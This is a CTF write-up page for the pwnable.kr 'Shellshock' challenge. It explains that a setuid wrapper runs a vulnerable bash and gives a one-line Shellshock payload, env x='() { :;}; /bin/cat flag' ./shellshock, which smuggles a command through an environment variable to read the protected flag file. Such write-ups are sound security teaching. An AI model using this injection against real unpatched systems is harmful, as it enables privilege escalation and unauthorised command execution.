🌌
N/B Writeups
  • CTF Writeups
  • CTFs
    • 2019
      • OverTheWire Advent
    • 2020
      • Midnight Sun
      • Things I learned from DarkCTF
  • Pwnable.kr
    • 01 - fd
    • 02 - col
    • 03 - bof
    • 04 - flag
    • 05 - passcode
    • 06 - random
    • 07 - input
    • 08 - leg
    • 09 - mistake
    • 10 - Shellshock
    • 11 - coin1
    • 12 - blackjack
    • 13 - lotto
    • 14 - cmd1
    • 15 - cmd2
    • 16 - uaf
    • 17 - memcpy
    • 18 - asm
    • 20 - blukat
    • 21 - horcruxes
    • 33 - echo1
    • 34 - echo2
    • 43 - coin2
  • More Pwn
    • Protostar - format4
  • Lord of SQLI
    • Lord of SQLI
Powered by GitBook
On this page
  • The Challenge
  • The Solution

Was this helpful?

  1. Pwnable.kr

10 - Shellshock

Previous09 - mistakeNext11 - coin1

Last updated 4 years ago

Was this helpful?

The Challenge

Mommy, there was a shocking news about bash. I bet you already know, but lets just make it sure :)

ssh shellshock@pwnable.kr -p2222 (pw:guest)

The Solution

Let's look at the files.

What is the purpose of this bash binary?

The binary is running with shellshock_pwns privileges. What is it doing?

Here is the solution for ya'll:

env x='() { :;}; /bin/cat flag' ./shellshock

It runs the bash binry with shellshock_pwns privileges. what's so special about that bash? As the name of the challenge suggests, this bash is vulnerable to .

shellshock